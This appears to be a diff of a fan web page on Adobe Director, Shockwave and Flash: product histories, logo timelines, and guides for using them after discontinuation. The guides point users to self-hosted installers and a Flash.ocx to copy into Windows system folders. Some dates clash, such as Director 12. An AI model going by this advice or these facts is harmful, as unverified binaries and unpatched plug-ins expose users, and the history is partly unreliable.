-              <p> 1992 - 1993 </p>
-              <p> Version 3.1 </p>
-              <img src="/media/images/Director31.webp" width="200" height="224" alt="1992-1993 | version 3.1">
+          </Fragment>
+        </Scrollspy>
+      </div>
+      <hr>
+      <div id="di">
+        <h2>Adobe Director</h2>
+        <figure class="figure">
+          <img src="/media/images/Adobe_Di.svg.png" width="12.5%" style="min-width: 125px;" alt="Director Logo" class="flash">
+          <figcaption class="figure-caption mt-1">Adobe Director Logo</figcaption>
+        </figure>
+        <p> On this page, we will review Adobe Director. </p>
+        <h3> What is Adobe Director </h3>
+        <p> Adobe Director is very similar to Adobe Flash Player, but they are both completely different things. Instead of SWF files, it uses DCR files. It can also use Apple Inc.'s Quicktime, used to support media, and the 3DO Company's 3DO Console Engine. Adobe Director's last version was 12, released on February 11th, 2013. The product would be later discontinued in a range from February 1st to March 14th of 2017. </p>
+        <h3> Plug-ins </h3>
+        <p> One of the few differences between Director and Flash is that Director supports plug-ins or Xtras. This is possible by a tool named Adobe Director's XDK (Xtra Development Kit), which is a C++ SDK. With each new version, new changes are important for these plug-ins.  </p>
+        <h3> How to use Adobe Director after 2017 </h3>
+        <p> Adobe Director has standalone apps that have DCR files pre-loaded (<a href="/media/files/spongebob-example.zip" download>example</a>).</p>
+        <p> You can download the most recent version of <a href="/media/files/Projector Skeleton for Adobe Director 12.0.1.122.zip" download>Projector Skeleton for Adobe Director here</a> for using DCR files onto a Windows app. It will ask you once you open the application, to put in a DCR file. Make sure that the plugin is in the same folder (directory) as the DCR file. You can download a <a href="/media/files/anchovies.dcr">example DCR game here</a>.</p>
+        <p>If you have issues about 16-bit apps with Director, you may <a href="https://github.com/otya128/winevdm#readme">view how to run them on Windows 10 or above</a>.</p>
+      </div>
+      <hr>
+      <div id="dl">
+        <h2>Adobe Director Logo History</h2>
+        <Scrollspy id="dir-list"
+          scrollcontent={[
+          { name: "Macromind Videoworks", href: "#mvtitle", additionalClasses: "fw-bolder" },
+          { name: "Version 1 (1985)", href: "#d1985" },
+          { name: "Version 2 (1987)", href: "#d1987" },
+          { name: "Macromind Director", href: "#mdtitle", additionalClasses: "fw-bolder" },
+          { name: "Version 1 (1989)", href: "#d1989" },
+          { name: "Version 2 (1990)", href: "#d1990" },
+          { name: "Version 3 (1991)", href: "#d1991" },
+          { name: "Version 3.1 (1992)", href: "#d1992" },
+          { name: "Macromedia Director", href: "#matitle", additionalClasses: "fw-bolder" },
+          { name: "Version 3.1.3 (1993)", href: "#d1993" },
+          { name: "Version 4 (1994)", href: "#d1994" },
+          { name: "Version 5 (1996)", href: "#d1996" },
+          { name: "Version 6 (1997)", href: "#d1997" },
+          { name: "Version 7 (1998)", href: "#d1998" },
+          { name: "Version 8 (2000)", href: "#d2000" },
+          { name: "Version 8.5 (2001)", href: "#d2001" },
+          { name: "Versions 9 - 10 (2002)", href: "#d2002" },
+          { name: "Adobe Director", href: "#aetitle", additionalClasses: "fw-bolder" },
+          { name: "Version 11 (2007)", href: "#d2007" },
+          { name: "Version 11.5 (2008)", href: "#d2008" },
+          { name: "Version 12 (2010)", href: "#d2010" },
+          ]}
+          otherClass="dmsize">
+          <Fragment slot="scrollspy-content">
+            <div id="videoworks">
+              <h3 id="mvtitle"> Macromind Videoworks </h3>
+              <div id="d1985">
+                <p> 1985 - 1987 </p>
+                <p> Version 1 </p>
+                <img src="/media/images/MacromindVideoworks_1.webp" width="200" height="200" alt="1985-1987 | version 1"> <br> <br>
+                <img src="/media/images/bannerMacromindVideoworks_1.webp" alt=" 1985-1987 | version 1">
+              </div>
+              <br> <br> <br>
+              <div id="d1987">
+                <p> 1987 - 1989 </p>
+                <p> Version 2 </p>
+                <img src="/media/images/MacromediaVideoworks_2.webp" width="200" height="200" alt="1987-1989 | version 2">
+              </div>
             </div>
-          </div>
-          <hr>
-          <div id="macromedia">
-            <h4 id="matitle"> Macromedia Director </h4>
-            <div id="d1993">
-              <p> 1993 - 1994 </p>
-              <p> Version 3.1.3 </p>
-              <img src="/media/images/MacromediaDirector_3.1.3.webp" width="200" height="224" alt="1993-1994 | version 3.1.3">
+            <hr>
+            <div id="director">
+              <h3 id="mdtitle"> Macromind Director </h3>
+              <div id="d1989">
+                <p> 1989 - 1990 </p>
+                <p> Version 1 </p>
+                <img src="/media/images/MacromindDirector_1.webp" width="200" height="137" alt="1989-1990 | version 1">
+              </div>
+              <br> <br> <br>
+              <div id="d1990">
+                <p> 1990 - 1991 </p>
+                <p> Version 2 </p>
+                <img src="/media/images/MacromindDirector_2.webp" width="200" height="205" alt="1990-1991 | version 2">
+              </div>
+              <br> <br> <br>
+              <div id="d1991">
+                <p> 1991 - 1992 </p>
+                <p> Version 3 </p>
+                <img src="/media/images/MacromindDirector_3.webp" width="200" height="223" alt="1991-1992 | version 3">
+              </div>
+              <br> <br> <br>
+              <div id="d1992">
+                <p> 1992 - 1993 </p>
+                <p> Version 3.1 </p>
+                <img src="/media/images/Director31.webp" width="200" height="224" alt="1992-1993 | version 3.1">
+              </div>
             </div>
-            <br> <br> <br>
-            <div id="d1994">
-              <p> 1994 - 1996 </p>
-              <p> Version 4 </p>
-              <img src="/media/images/Director4.webp" width="200" height="200" alt="1994-1996 | version 4 icon"> <br> <br>
-              <img src="/media/images/Macromedia_Director_4banner.webp" width="200" height="118" alt="1994-1996 | version 4 banner">
+            <hr>
+            <div id="macromedia">
+              <h3 id="matitle"> Macromedia Director </h3>
+              <div id="d1993">
+                <p> 1993 - 1994 </p>
+                <p> Version 3.1.3 </p>
+                <img src="/media/images/MacromediaDirector_3.1.3.webp" width="200" height="224" alt="1993-1994 | version 3.1.3">
+              </div>
+              <br> <br> <br>
+              <div id="d1994">
+                <p> 1994 - 1996 </p>
+                <p> Version 4 </p>
+                <img src="/media/images/Director4.webp" width="200" height="200" alt="1994-1996 | version 4 icon"> <br> <br>
+                <img src="/media/images/Macromedia_Director_4banner.webp" width="200" height="118" alt="1994-1996 | version 4 banner">
+              </div>
+              <br> <br> <br>
+              <div id="d1996">
+                <p> 1996 - 1997 </p>
+                <p> Version 5 </p>
+                <img src="/media/images/Macromedia_Director_5_icon.webp" width="200" height="195" alt="1996-1997 | version 5 icon"> <br> <br>
+                <img src="/media/images/Macromedia_Director_5banner.webp" width="200" height="123" alt="1996-1997 | version 5 banner">
+              </div>
+              <br> <br> <br>
+              <div id="d1997">
+                <p> 1997 - 1998 </p>
+                <p> Version 6 </p>
+                <img src="/media/images/Macromedia_Director_6_icon.webp" width="200" height="180" alt="1997-1998 | version 6 banner"> <br> <br>
+                <img src="/media/images/Macromedia_Director_6banner.webp" width="200" height="146" alt="1997-1998 | version 6 banner">
+              </div>
+              <br> <br> <br>
+              <div id="d1998">
+                <p> 1998 - 2000 </p>
+                <p> Version 7 </p>
+                <img src="/media/images/Macromedia_Director_7_icon.webp" width="200" height="195" alt="1998-2000 | version 7 banner"> <br> <br>
+                <img src="/media/images/Macromedia_Director_7banner.webp" width="200" height="107" alt="1998-2000 | version 7 banner">
+              </div>
+              <br> <br> <br>
+              <div id="d2000">
+                <p> 2000 - 2001 </p>
+                <p> Version 8 </p>
+                <img src="/media/images/Macromedia_Director_8_icon.webp" width="200" height="195" alt="2000-2001 | version 8 banner"> <br> <br>
+                <img src="/media/images/Macromedia_Director_8icon.webp" width="200" height="81" alt="2000-2001 | version 8 banner">
+              </div>
+              <br> <br> <br>
+              <div id="d2001">
+                <p> 2001 - 2002 </p>
+                <p> Version 8.5 </p>
+                <img src="/media/images/Macromedia_Director_8.5.webp" width="200" height="55" alt="2001-2002 | version 8.5 banner">
+              </div>
+              <br> <br> <br>
+              <div id="d2002">
+                <p> 2002 - 2007 </p>
+                <p> Versions 9-10 </p>
+                <img src="/media/images/Macromedia_Director_9-10.webp" width="200" height="200" alt="2002-2007 | versions 9-10 icon">
+              </div>
             </div>
-            <br> <br> <br>
-            <div id="d1996">
-              <p> 1996 - 1997 </p>
-              <p> Version 5 </p>
-              <img src="/media/images/Macromedia_Director_5_icon.webp" width="200" height="195" alt="1996-1997 | version 5 icon"> <br> <br>
-              <img src="/media/images/Macromedia_Director_5banner.webp" width="200" height="123" alt="1996-1997 | version 5 banner">
+            <hr>
+            <div id="adobe">
+              <h3 id="aetitle"> Adobe Director </h3>
+              <div id="d2007">
+                <p> 2007 - 2008 </p>
+                <p> Version 11 </p>
+                <img src="/media/images/Adobe_Director_11.png" width="200" height="200" alt="2007-2008 | version 11 icon">
+              </div>
+              <br> <br> <br>
+              <div id="d2008">
+                <p> 2008 - 2010 </p>
+                <p> Version 11.5 </p>
+                <img src="/media/images/Adobe_Director_11.5.webp" width="200" height="200" alt="2008-2010 | version 11.5 icon">
+              </div>
+              <br> <br> <br>
+              <div id="d2010">
+                <p> 2010 - 2012 </p>
+                <p> Version 12 </p>
+                <img src="/media/images/Adobe_Di.svg.png" width="200" height="200" alt="2010-2012 | version 12 icon">
+              </div>
+            </div>          
+          </Fragment>
+        </Scrollspy>
+      </div>
+      <hr>
+      <div id="sw">
+        <h2> Adobe Shockwave </h2>
+        <figure class="figure">
+          <img src="/media/images/Shockwave.png" width="12.5%" style="min-width: 125px;" alt="Shockwave Logo" class="flash">
+          <figcaption class="figure-caption mt-1">Adobe Shockwave Logo</figcaption>
+        </figure>
+        <p> On this page, we will go over Adobe Shockwave.</p>
+        <h3> What is Adobe Shockwave </h3>
+        <p>Adobe Shockwave is mostly Adobe Director, however, it's a browser plug-in like Adobe Flash. It also supports DIR, DCR, DXR files. It can also help companies build multimedia apps. The latest version is 12.3.5.205 released on April 9th, 2019. Adobe discontinued Shockwave on the same day.</p>
+        <h3> How to use Adobe Shockwave after 2019 </h3>
+        <p>There's a <a href="/media/files/Shockwave_Installer_Full.exe" download>full version</a> and a <a href="/media/files/Shockwave_Installer_Slim.exe" download>slim version</a> you can install (recommended to have Windows Vista or 7). These versions are both 12.3.5.205. If you need older versions, <a href="http://www.oldversion.com/windows/adobe-shockwave/">click here</a>.  </p>
+      </div>
+      <hr>
+      <div id="sl">
+        <h2>Adobe Shockwave Logo History</h2>
+        <Scrollspy id="sho-list"
+          scrollcontent={[
+          { name: "Macromedia Player", href: "#mptitle", additionalClasses: "fw-bolder" },
+          { name: "199? - 1995", href: "#s199u" },
+          { name: "Macromedia Shockwave", href: "#mstitle", additionalClasses: "fw-bolder" },
+          { name: "1995 - 1997", href: "#s1995" },
+          { name: "1997 - 2005", href: "#s1997" },
+          { name: "Adobe Shockwave", href: "#astitle", additionalClasses: "fw-bolder" },
+          { name: "2005 - 2011", href: "#s2005" },
+          { name: "2011 - 2013", href: "#s2011" },
+          { name: "2013 - 2015", href: "#s2013" },
+          { name: "2015 - Now", href: "#s2015" },
+          ]}      
+        >
+          <Fragment slot="scrollspy-content">
+            <div id="player">
+              <h3 id="mptitle"> Macromedia Player </h3>
+              <div id="s199u">
+                <p>199? - 1995</p>
+                <img src="/media/images/Macromedia_Player.webp" width="207" height="77" alt="199?-1995">  
+              </div>
             </div>
-            <br> <br> <br>
-            <div id="d1997">
-              <p> 1997 - 1998 </p>
-              <p> Version 6 </p>
-              <img src="/media/images/Macromedia_Director_6_icon.webp" width="200" height="180" alt="1997-1998 | version 6 banner"> <br> <br>
-              <img src="/media/images/Macromedia_Director_6banner.webp" width="200" height="146" alt="1997-1998 | version 6 banner">
+            <hr>
+            <div id="shockwave">
+              <h3 id="mstitle"> Macromedia Shockwave </h3>
+              <div id="s1995">
+                <p>1995 - 1997</p>
+                <img src="/media/images/Macromedia_Shockwave.webp" width="200" height="200" alt="1995-1997">  
+              </div>
+              <br><br><br>
+              <div id="s1997">
+                <p>1997 - 2005</p>
+                <img src="/media/images/Macromedia_Shockwave_Enabled.webp" width="200" height="200" alt="1997-2005">  
+              </div>
             </div>
-            <br> <br> <br>
-            <div id="d1998">
-              <p> 1998 - 2000 </p>
-              <p> Version 7 </p>
-              <img src="/media/images/Macromedia_Director_7_icon.webp" width="200" height="195" alt="1998-2000 | version 7 banner"> <br> <br>
-              <img src="/media/images/Macromedia_Director_7banner.webp" width="200" height="107" alt="1998-2000 | version 7 banner">
+            <hr>
+            <div id="adobeshockwave">
+              <h3 id="astitle"> Adobe Shockwave </h3>
+              <div id="s2005">
+                <p>2005 - 2011</p>
+                <img src="/media/images/Adobe_Shockwave.webp" width="200" height="116" alt="2005 - 2011">  
+              </div>
+              <br><br><br>
+              <div id="s2011">
+                <p>2011 - 2013</p>
+                <img src="/media/images/2011-shock.webp" width="200" height="190" alt="2011-2013">  
+              </div>
+              <br><br><br>
+              <div id="s2013">
+                <p>2013 - 2015</p>
+                <img src="/media/images/Flash_Shockwave.svg" width="200" height="200" alt="2013-2015">  
+              </div>
+              <br><br><br>
+              <div id="s2015">
+                <p>2015 - Now</p>
+                <img src="/media/images/Shockwave.png" width="200px" height="195px" alt="2015-Now">  
+              </div>
             </div>
-            <br> <br> <br>
-            <div id="d2000">
-              <p> 2000 - 2001 </p>
-              <p> Version 8 </p>
-              <img src="/media/images/Macromedia_Director_8_icon.webp" width="200" height="195" alt="2000-2001 | version 8 banner"> <br> <br>
-              <img src="/media/images/Macromedia_Director_8icon.webp" width="200" height="81" alt="2000-2001 | version 8 banner">
+          </Fragment>
+        </Scrollspy>
+      </div>
+      <hr>
+      <div id="fh">
+        <h2>Adobe Flash Logo History</h2>
+        <Scrollspy id="fla-list"
+          scrollcontent={[
+            { name: "1996 - 2002", href: "#f1996" },
+            { name: "2002 - 2006", href: "#f2002" },
+            { name: "2006 - 2008", href: "#f2006" },
+            { name: "2008 - 2010", href: "#f2008" },
+            { name: "2010 - 2013", href: "#f2010" },
+            { name: "2013 - 2015", href: "#f2013" },
+            { name: "2015 - 2020", href: "#f2015" },
+          ]}
+        >
+          <Fragment slot="scrollspy-content">
+            <div id="f1996">
+              <p> 1996 - 2002 </p>
+              <p> Versions 1 - 5 </p>
+              <img src="/media/images/Macromedia_Flash_Player.png" width="200" height="200" alt="1996-2002 | versions 1-5"> <br> <br>
+              <img src="/media/images/Logo_macromedia_flash_player_logo_1996-2002.jpg" alt="1996-2002 | versions 1-5 banner">
             </div>
             <br> <br> <br>
-            <div id="d2001">
-              <p> 2001 - 2002 </p>
-              <p> Version 8.5 </p>
-              <img src="/media/images/Macromedia_Director_8.5.webp" width="200" height="55" alt="2001-2002 | version 8.5 banner">
+            <div id="f2002">
+              <p> 2002 - 2006 </p>
+              <p> Versions 6 - 8 </p>
+              <img src="/media/images/Fl-player6.png" width="200" height="200" alt="2002-2006 | versions 6-8"> <br> <br>
+              <img src="/media/images/Logo_macromedia_flash_player.jpg" width="107.34" height="120" alt="2002-2006 | versions 6-8 alt">
+              <img src="/media/images/Logo_flash_player_mx_120x120.gif" alt="2002-2006 | versions 6-8 alt (gif)">
             </div>
             <br> <br> <br>
-            <div id="d2002">
-              <p> 2002 - 2007 </p>
-              <p> Versions 9-10 </p>
-              <img src="/media/images/Macromedia_Director_9-10.webp" width="200" height="200" alt="2002-2007 | versions 9-10 icon">
-            </div>
-          </div>
-          <hr>
-          <div id="adobe">
-            <h4 id="aetitle"> Adobe Director </h4>
-            <div id="d2007">
-              <p> 2007 - 2008 </p>
-              <p> Version 11 </p>
-              <img src="/media/images/Adobe_Director_11.png" width="200" height="200" alt="2007-2008 | version 11 icon">
+              <div id="f2006">
+              <p> 2006 - 2008 </p>
+              <p> Versions 8.5 - 9 </p>
+              <img src="/media/images/FlashPlayer_2006.png" width="200" height="200" alt="2006-2008 | versions 8.5-9">
             </div>
             <br> <br> <br>
-            <div id="d2008">
+              <div id="f2008">
               <p> 2008 - 2010 </p>
-              <p> Version 11.5 </p>
-              <img src="/media/images/Adobe_Director_11.5.webp" width="200" height="200" alt="2008-2010 | version 11.5 icon">
+              <p> Version 10 </p>
+              <img src="/media/images/Flash-10.png" width="200" height="200" alt="2008-2010 | versions 10">
             </div>
             <br> <br> <br>
-            <div id="d2010">
-              <p> 2010 - 2012 </p>
-              <p> Version 12 </p>
-              <img src="/media/images/Adobe_Di.svg.png" width="200" height="200" alt="2010-2012 | version 12 icon">
+              <div id="f2010">
+              <p> 2010 - 2013 </p>
+              <p> Versions 11 - 11.9 </p>
+              <img src="/media/images/Adobe_Flash_Player_SVG.png" width="200" height="200" alt="2010-2013 | versions 11-11.9">
             </div>
-          </div>          
-        </Fragment>
-      </Scrollspy>
-    </div>
-    <hr>
-    <div id="sw">
-      <h2> Adobe Shockwave </h2>
-      <figure class="figure">
-        <img src="/media/images/Shockwave.png" width="12.5%" style="min-width: 125px;" alt="Shockwave Logo" class="flash">
-        <figcaption class="figure-caption mt-1">Adobe Shockwave Logo</figcaption>
-      </figure>
-      <p> On this page, we will go over Adobe Shockwave.</p>
-      <h3> What is Adobe Shockwave </h3>
-      <p>Adobe Shockwave is mostly Adobe Director, however, it's a browser plug-in like Adobe Flash. It also supports DIR, DCR, DXR files. It can also help companies build multimedia apps. The latest version is 12.3.5.205 released on April 9th, 2019. Adobe discontinued Shockwave on the same day.</p>
-      <h3> How to use Adobe Shockwave after 2019 </h3>
-      <p>There's a <a href="/media/files/Shockwave_Installer_Full.exe" download>full version</a> and a <a href="/media/files/Shockwave_Installer_Slim.exe" download>slim version</a> you can install (recommended to have Windows Vista or 7). These versions are both 12.3.5.205. If you need older versions, <a href="http://www.oldversion.com/windows/adobe-shockwave/">click here</a>.  </p>
-    </div>
-    <hr>
-    <div id="sl">
-      <h2>Adobe Shockwave Logo History</h2>
-      <Scrollspy id="sho-list"
-        scrollcontent={[
-        { name: "Macromedia Player", href: "#mptitle", additionalClasses: "fw-bolder" },
-        { name: "199? - 1995", href: "#s199u" },
-        { name: "Macromedia Shockwave", href: "#mstitle", additionalClasses: "fw-bolder" },
-        { name: "1995 - 1997", href: "#s1995" },
-        { name: "1997 - 2005", href: "#s1997" },
-        { name: "Adobe Shockwave", href: "#astitle", additionalClasses: "fw-bolder" },
-        { name: "2005 - 2011", href: "#s2005" },
-        { name: "2011 - 2013", href: "#s2011" },
-        { name: "2013 - 2015", href: "#s2013" },
-        { name: "2015 - Now", href: "#s2015" },
-        ]}      
-      >
-        <Fragment slot="scrollspy-content">
-          <div id="player">
-            <h4 id="mptitle"> Macromedia Player </h4>
-            <div id="s199u">
-              <p>199? - 1995</p>
-              <img src="/media/images/Macromedia_Player.webp" width="207" height="77" alt="199?-1995">  
+            <br> <br> <br>
+              <div id="f2013">
+              <p> 2013 - 2015 </p>
+              <p> Versions 12 - 17 </p>
+              <img src="/media/images/FlashPlayer_2013.png" width="200" height="200" alt="2013-2015 | versions 12-17">
             </div>
-          </div>
-          <hr>
-          <div id="shockwave">
-            <h4 id="mstitle"> Macromedia Shockwave </h4>
-            <div id="s1995">
-              <p>1995 - 1997</p>
-              <img src="/media/images/Macromedia_Shockwave.webp" width="200" height="200" alt="1995-1997">  
+            <br> <br> <br>
+              <div id="f2015">
+              <p> 2015 - 2020 </p>
+              <p> Versions 18 - 32; 50 (Enterprise) </p>
+              <img src="/media/images/Adobe_Flash_Player_32.svg.png" width="200" height="200" alt="2015-2020 | versions 18-32; 50"> <br> <br>
+              <img src="/media/images/Flash_box.png" alt="2015-2020 | versions 18-32; 50 installer"> <br>
+              <sub>Installer</sub>
             </div>
-            <br><br><br>
-            <div id="s1997">
-              <p>1997 - 2005</p>
-              <img src="/media/images/Macromedia_Shockwave_Enabled.webp" width="200" height="200" alt="1997-2005">  
+          </Fragment>
+        </Scrollspy>
+      </div>
+      <hr>
+      <div id="ft">
+        <h2>How to use Flash after 2021</h2>
+        <p>If you want to use Flash in a browser or an app, follow these instructions.</p>
+  
+        <h3>Browser Installation</h3>
+        <p>
+            If there is Flash Player already installed, use the <a href="/media/files/uninstall_flash_player%20(Step%201).exe">Uninstaller for Windows</a>, otherwise use the <a href="/media/files/uninstall_flash_player.dmg">Uninstaller for Mac OS X - 10.6 or higher</a>, or the <a href="/media/files/uninstall_flash_player_osx_10.4.dmg">Uninstaller for Mac OS X - 10.4 & 10.5</a>.
+        </p>
+        <p>
+            After that, run an installer from the table of installers depending on your device with the version you want. The versions suffixed with “pep” are PPAPI (WebKit and Blink), the ones with “ax” are ActiveX (Trident and EdgeHTML) and the ones without suffix are NPAPI (Gecko and Goanna). Follow the instructions on the installer that you chose. Reminder that most major browsers such as Google Chrome, FireFox, and many more, will no longer accept any flash version.
+        </p>
+        <p>
+            Next, find a browser that allows Flash plug-ins, you can visit <a href="#br" data-bs-dismiss="modal" data-bs-toggle="modal" role="button">this page</a> to find some.
+        </p>
+  
+        <div class="d-flex flex-wrap row-cols-3">
+            <div class="col">
+                <p class="m-0 p-0"><b>Windows</b></p>
+                <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_win.exe" download>win</a></p>
+                <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_winpep.exe" download>winpep</a></p>
+                <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_winax.exe" download>winax</a></p>
             </div>
-          </div>
-          <hr>
-          <div id="adobeshockwave">
-            <h4 id="astitle"> Adobe Shockwave </h4>
-            <div id="s2005">
-              <p>2005 - 2011</p>
-              <img src="/media/images/Adobe_Shockwave.webp" width="200" height="116" alt="2005 - 2011">  
+            <div class="col">
+                <p class="m-0 p-0"><b>Macintosh</b></p>
+                <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_mac.dmg" download>mac</a></p>
+                <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_macpep.dmg" download>macpep</a></p>
             </div>
-            <br><br><br>
-            <div id="s2011">
-              <p>2011 - 2013</p>
-              <img src="/media/images/2011-shock.webp" width="200" height="190" alt="2011-2013">  
+            <div class="col">
+                <p class="m-0 p-0"><b>Linux i386</b></p>
+                <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_linux.i386.tar.gz" download>linux</a></p>
+                <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_linuxpep.i386.tar.gz" download>linuxpep</a></p>
             </div>
-            <br><br><br>
-            <div id="s2013">
-              <p>2013 - 2015</p>
-              <img src="/media/images/Flash_Shockwave.svg" width="200" height="200" alt="2013-2015">  
+            <div class="col"></div>
+            <div class="col">
+                <p class="m-0 p-0"><b>Macintosh (pkg)</b></p>
+                <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_mac_pkg.dmg" download>mac</a></p>
+                <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_macpep_pkg.dmg" download>macpep</a></p>
             </div>
-            <br><br><br>
-            <div id="s2015">
-              <p>2015 - Now</p>
-              <img src="/media/images/Shockwave.png" width="200px" height="195px" alt="2015-Now">  
+            <div class="col">
+                <p class="m-0 p-0"><b>Linux x86_64</b></p>
+                <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_linux.x86_64.tar.gz" download>linux</a></p>
+                <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_linuxpep.x86_64.tar.gz" download>linuxpep</a></p>
             </div>
-          </div>
-        </Fragment>
-      </Scrollspy>
-    </div>
-    <hr>
-    <div id="fh">
-      <h2>Adobe Flash Logo History</h2>
-      <Scrollspy id="fla-list"
-        scrollcontent={[
-          { name: "1996 - 2002", href: "#f1996" },
-          { name: "2002 - 2006", href: "#f2002" },
-          { name: "2006 - 2008", href: "#f2006" },
-          { name: "2008 - 2010", href: "#f2008" },
-          { name: "2010 - 2013", href: "#f2010" },
-          { name: "2013 - 2015", href: "#f2013" },
-          { name: "2015 - 2020", href: "#f2015" },
-        ]}
-      >
-        <Fragment slot="scrollspy-content">
-          <div id="f1996">
-            <p> 1996 - 2002 </p>
-            <p> Versions 1 - 5 </p>
-            <img src="/media/images/Macromedia_Flash_Player.png" width="200" height="200" alt="1996-2002 | versions 1-5"> <br> <br>
-            <img src="/media/images/Logo_macromedia_flash_player_logo_1996-2002.jpg" alt="1996-2002 | versions 1-5 banner">
-          </div>
-          <br> <br> <br>
-          <div id="f2002">
-            <p> 2002 - 2006 </p>
-            <p> Versions 6 - 8 </p>
-            <img src="/media/images/Fl-player6.png" width="200" height="200" alt="2002-2006 | versions 6-8"> <br> <br>
-            <img src="/media/images/Logo_macromedia_flash_player.jpg" width="107.34" height="120" alt="2002-2006 | versions 6-8 alt">
-            <img src="/media/images/Logo_flash_player_mx_120x120.gif" alt="2002-2006 | versions 6-8 alt (gif)">
-          </div>
-          <br> <br> <br>
-            <div id="f2006">
-            <p> 2006 - 2008 </p>
-            <p> Versions 8.5 - 9 </p>
-            <img src="/media/images/FlashPlayer_2006.png" width="200" height="200" alt="2006-2008 | versions 8.5-9">
-          </div>
-          <br> <br> <br>
-            <div id="f2008">
-            <p> 2008 - 2010 </p>
-            <p> Version 10 </p>
-            <img src="/media/images/Flash-10.png" width="200" height="200" alt="2008-2010 | versions 10">
-          </div>
-          <br> <br> <br>
-            <div id="f2010">
-            <p> 2010 - 2013 </p>
-            <p> Versions 11 - 11.9 </p>
-            <img src="/media/images/Adobe_Flash_Player_SVG.png" width="200" height="200" alt="2010-2013 | versions 11-11.9">
-          </div>
-          <br> <br> <br>
-            <div id="f2013">
-            <p> 2013 - 2015 </p>
-            <p> Versions 12 - 17 </p>
-            <img src="/media/images/FlashPlayer_2013.png" width="200" height="200" alt="2013-2015 | versions 12-17">
-          </div>
-          <br> <br> <br>
-            <div id="f2015">
-            <p> 2015 - 2020 </p>
-            <p> Versions 18 - 32; 50 (Enterprise) </p>
-            <img src="/media/images/Adobe_Flash_Player_32.svg.png" width="200" height="200" alt="2015-2020 | versions 18-32; 50"> <br> <br>
-            <img src="/media/images/Flash_box.png" alt="2015-2020 | versions 18-32; 50 installer"> <br>
-            <sub>Installer</sub>
-          </div>
-        </Fragment>
-      </Scrollspy>
-    </div>
-    <hr>
-    <div id="ft">
-      <h2>How to use Flash after 2021</h2>
-      <p>If you want to use Flash in a browser or an app, follow these instructions.</p>
-
-      <h3>Browser Installation</h3>
-      <p>
-          If there is Flash Player already installed, use the <a href="/media/files/uninstall_flash_player%20(Step%201).exe">Uninstaller for Windows</a>, otherwise use the <a href="/media/files/uninstall_flash_player.dmg">Uninstaller for Mac OS X - 10.6 or higher</a>, or the <a href="/media/files/uninstall_flash_player_osx_10.4.dmg">Uninstaller for Mac OS X - 10.4 & 10.5</a>.
-      </p>
-      <p>
-          After that, run an installer from the table of installers depending on your device with the version you want. The versions suffixed with “pep” are PPAPI (WebKit and Blink), the ones with “ax” are ActiveX (Trident and EdgeHTML) and the ones without suffix are NPAPI (Gecko and Goanna). Follow the instructions on the installer that you chose. Reminder that most major browsers such as Google Chrome, FireFox, and many more, will no longer accept any flash version.
-      </p>
-      <p>
-          Next, find a browser that allows Flash plug-ins, you can visit <a href="#br" data-bs-dismiss="modal" data-bs-toggle="modal" role="button">this page</a> to find some.
-      </p>
-
-      <div class="d-flex flex-wrap row-cols-3">
-          <div class="col">
-              <p class="m-0 p-0"><b>Windows</b></p>
-              <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_win.exe" download>win</a></p>
-              <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_winpep.exe" download>winpep</a></p>
-              <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_winax.exe" download>winax</a></p>
-          </div>
-          <div class="col">
-              <p class="m-0 p-0"><b>Macintosh</b></p>
-              <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_mac.dmg" download>mac</a></p>
-              <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_macpep.dmg" download>macpep</a></p>
-          </div>
-          <div class="col">
-              <p class="m-0 p-0"><b>Linux i386</b></p>
-              <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_linux.i386.tar.gz" download>linux</a></p>
-              <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_linuxpep.i386.tar.gz" download>linuxpep</a></p>
-          </div>
-          <div class="col"></div>
-          <div class="col">
-              <p class="m-0 p-0"><b>Macintosh (pkg)</b></p>
-              <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_mac_pkg.dmg" download>mac</a></p>
-              <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_macpep_pkg.dmg" download>macpep</a></p>
-          </div>
-          <div class="col">
-              <p class="m-0 p-0"><b>Linux x86_64</b></p>
-              <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_linux.x86_64.tar.gz" download>linux</a></p>
-              <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_linuxpep.x86_64.tar.gz" download>linuxpep</a></p>
-          </div>
+        </div>
+        
+        <h3>App/SWF Installation</h3>
+        <p>
+            In the "SWF Installation", an <a href="/media/files/flashplayer_32_sa.exe">already installed app</a> is waiting for you. However, you'll need a SWF file (Shockwave Flash) to run. I left a <a href="/media/files/flash_cmpunk.swf">SWF game here</a> for you to try out.
+        </p>
+      </div>
+      <hr>
+      <div id="oc">
+        <h2>How to fix the &quot;missing Flash.ocx&quot; error after Windows 2000</h2>
+        <p>
+            If you are having errors that say cannot create, or find <code>flash.ocx</code>, follow these steps.
+        </p>
+        <ol>
+            <li>
+                If you haven't installed Flash Player yet, please <a href="#" data-bs-target="#ft" data-bs-toggle="modal" data-bs-dismiss="modal">click here</a>.
+            </li>
+            <li>
+                Find in Windows Explorer: <code>C:\Windows\SysWOW64\Macromed\Flash</code>, and find the file <code>Flash.ocx</code> (may look different depending on which version flash is). If you can't find it, look in instead: <code>C:\Windows\System32\Macromed\Flash</code>, <code>System32</code>, or <code>SysWOW64</code>.
+            </li>
+            <li>
+                If you still can't find <code>Flash.ocx</code> anywhere, you may have to <a href="/media/files/flash32_32_0_0_371.ocx">download it</a>, then put it in <code>C:\Windows\SysWOW64\Macromed\Flash</code>.
+            </li>
+            <li>
